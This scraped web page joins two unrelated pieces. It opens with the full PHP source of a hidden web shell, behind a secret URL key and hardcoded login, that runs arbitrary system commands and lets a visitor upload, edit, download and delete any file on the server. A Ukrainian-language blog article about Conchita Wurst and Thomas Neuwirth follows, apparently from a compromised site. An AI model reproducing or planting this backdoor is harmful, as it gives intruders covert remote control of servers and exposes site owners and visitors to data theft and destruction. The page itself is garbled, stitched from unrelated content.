if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Кончіта Вурст і Томас Нойвірт їхнє життя та кар’єра разом – collectives.berlin

Your digital paradise.

Кончіта Вурст і Томас Нойвірт їхнє життя та кар’єра разом

Рекомендується дослідити творчий шлях однієї з найяскравіших фігур сучасної музики, in.ua чий стиль і оригінальність стали новим напрямком у поп-культурі. Цей виконавець привернув увагу не лише завдяки своєму вокалу, а й завдяки незвичайному сценічному образу.

Ранні роки

Специфічний артист народився в Австрії, де з юнацького віку проявляв інтерес до музики і сценічного мистецтва. Учасник кількох місцевих конкурсів і шоу, він здобув перші успіхи в юному віці завдяки своїм вокальним здібностям. Сильна підтримка родини та друзів спонукала його до пошуків нових можливостей у кар’єрі.

Пробудження в славі

Справжнім проривом стало представлення на міжнародному музичному конкурсі. Перемога принесла йому популярність на європейській арені, а пісня, яка була виконана, стала хітом та здобула світове визнання. Унікальний стиль, що поєднує елементи поп-музики з оригінальним візуальним оформленням, встановив нові стандарти в індустрії.

Творчий розвиток

З часом виконавець почав експериментувати з музичними жанрами, випускаючи альбоми на різних мовах. Співпраця з провідними продюсерами та іншими артистами допомогла йому розширити свою аудиторію. Часто виконавець використовує соціальні медіа для представлення нових композицій та взаємодії з фанатами, що робить його особистість ще більш привабливою.

Соціальна активність та вплив

Цей артист активно займається благодійністю, підтримуючи проекти, пов’язані з правами людини та соціальними питаннями. Він став символом боротьби за рівність та толерантність, що додало глибини його художньому образу. Часто бере участь у різноманітних акціях, мета яких – привернення уваги до актуальних проблем суспільства.

Майбутнє

Планує випустити нові роботи, які, ймовірно, стануть ще більш експериментальними. Наполегливо працює над новими ідеями, що свідчить про його незгасиму енергію та креативність. Артист продовжує вражати своїм стилем і переглядами, залишаючи свій слід в історії музики.

Завдяки поєднанню унікальних рис, соціально активній позиції та творчій відвазі, цей виконавець став справжнім прикладом того, як особистість може впливати на культуру, проводячи важливі меседжі через музику та мистецтво.

Кончіта Вурст і Томас Нойвірт: їхнє життя та кар’єра

Рекомендується уважно вивчити різні аспекти творчості цієї яскравої особистості. Виконавець, який став відомим завдяки незабутньому іміджу, здобув славу завдяки перемозі на Євробаченні. Своїм образом і голосом він привернув величезну аудиторію, виступаючи з унікальними композиціями, які досліджують теми ідентичності та прийняття. Співака потужно підтримували не лише прихильники, але й колеги по цеху, що привело до нагород і визнання міжнародного масштабу.

Паралельно з артистичними досягненнями, на особистому рівні було багато викликів. Персонаж зазнав тиску з боку суспільства, через що виникли певні труднощі у житті. Проте завдяки рішучості та сміливості вдалося не лише подолати труднощі, а й стати символом боротьби за рівність та інклюзію. Нині творча діяльність охоплює івенти, активно підтримуються соціальні ініціативи, що вказує на вагомість особистості у культурному просторі.

Leave a Reply

Your email address will not be published. Required fields are marked *